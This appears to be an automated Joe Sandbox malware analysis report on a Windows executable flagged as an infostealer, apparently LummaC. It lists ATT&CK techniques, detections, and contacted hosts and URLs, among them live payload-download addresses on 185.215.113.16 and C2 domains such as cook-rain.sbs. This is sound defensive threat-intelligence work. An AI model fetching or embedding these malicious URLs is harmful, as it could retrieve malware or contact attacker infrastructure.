Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exe#v	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/def.exeHL	100%	Avira URL Cloud	phishing
http://crl.microPc	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.196	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_110.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_110.6.dr	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1750170959.00000000055E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750091624.00000000055EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_110.6.dr	false		high
http://185.215.113.16/off/def.exe#v	file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_102.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_110.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_90.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exeHL	file.exe, 00000000.00000002.2073923204.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_110.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_110.6.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1750170959.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://github.com/gewarren	chromecache_110.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_110.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_110.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_110.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/certhelp	chromecache_90.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_110.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1750170959.00000000055E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750091624.00000000055EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_102.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_110.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_110.6.dr	false		high
http://crl.microPc	file.exe, 00000000.00000003.1992451424.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://github.com/adegeo	chromecache_110.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	file.exe, 00000000.00000002.2074061559.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	file.exe, 00000000.00000003.1750091624.00000000055EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_90.6.dr, chromecache_102.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_90.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_110.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1750170959.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_90.6.dr, chromecache_102.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_90.6.dr, chromecache_102.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557863
Start date and time:	2024-11-18 17:22:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@11/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 192.229.221.95, 142.250.186.131, 184.28.89.167, 74.125.206.84, 142.250.184.206, 88.221.170.101, 34.104.35.123, 2.19.126.156, 2.19.126.132, 20.189.173.7, 142.250.184.202, 142.250.181.234, 216.58.212.170, 216.58.206.42, 142.250.185.202, 172.217.18.10, 142.250.185.170, 142.250.185.138, 142.250.186.74, 172.217.23.106, 142.250.185.234, 142.250.186.170, 142.250.186.42, 142.250.185.106, 216.58.206.74, 172.217.16.138, 13.74.129.1, 104.208.16.90, 204.79.197.237, 13.107.21.237, 142.250.184.227, 142.250.185.78
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdcus14.centralus.cloudapp.azure.com, firstparty-azurefd-prod.trafficmanager.net, onedscolprdwus06.westus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.n
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:23:07	API Interceptor	31x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
s-part-0016.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
s-part-0017.t-0009.t-msedge.net	Fattura (6).vbs	Get hash	malicious	Unknown	Browse	13.107.246.45
	Fattura (3).vbs	Get hash	malicious	Mint Stealer	Browse	13.107.246.45
	Fattura (2).vbs	Get hash	malicious	Mint Stealer	Browse	13.107.246.45
	https://t.co/D4HGMmKLnL	Get hash	malicious	Unknown	Browse	13.107.246.45
	216858060163389921.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	spacers.exe	Get hash	malicious	Unknown	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.89.178.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
MICROSOFT-CORP-MSN-AS-BLOCKUS	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.89.178.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
MICROSOFT-CORP-MSN-AS-BLOCKUS	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	94.245.104.56
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.89.178.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://t.co/D4HGMmKLnL	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	http://bit.ly/e0Mw9w	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://www.summerfetes.co.uk/directory/jump.php?id=http://myronivkanews.com	Get hash	malicious	Phisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://acrobatsign.us.com/D5QtQ3EphanI1AQ3Ez01thoTxmaD5Q2AP4DCaI1AI1AchI1A-D5QankyoTxz01Q3Eu	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://www.figma.com/files/team/1440352672505295724/recents-and-sharing?fuid=1440352668792061854	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://lwchurchcc.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVRESTJNMFE9JnVpZD1VU0VSMTIxMTIwMjRVNTUxMTEyMjQ=N0123Nr.aes@test.com	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://www.google.co.th/url?q=sf_rand_string_uppercase(33)uQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%20xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%62%65%73%74%73%63%72%65%65%6E%69%6E%67%73%65%72%76%69%63%65%2E%63%6F%6D%2F%77%69%6E%6E%6D%2F%6B%6F%6C%69%6E%6E%2F%6B%6F%6F%6C%2Ftest@gmail.com	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	87654785457596574686FKHN-Copy.pdf	Get hash	malicious	Phisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
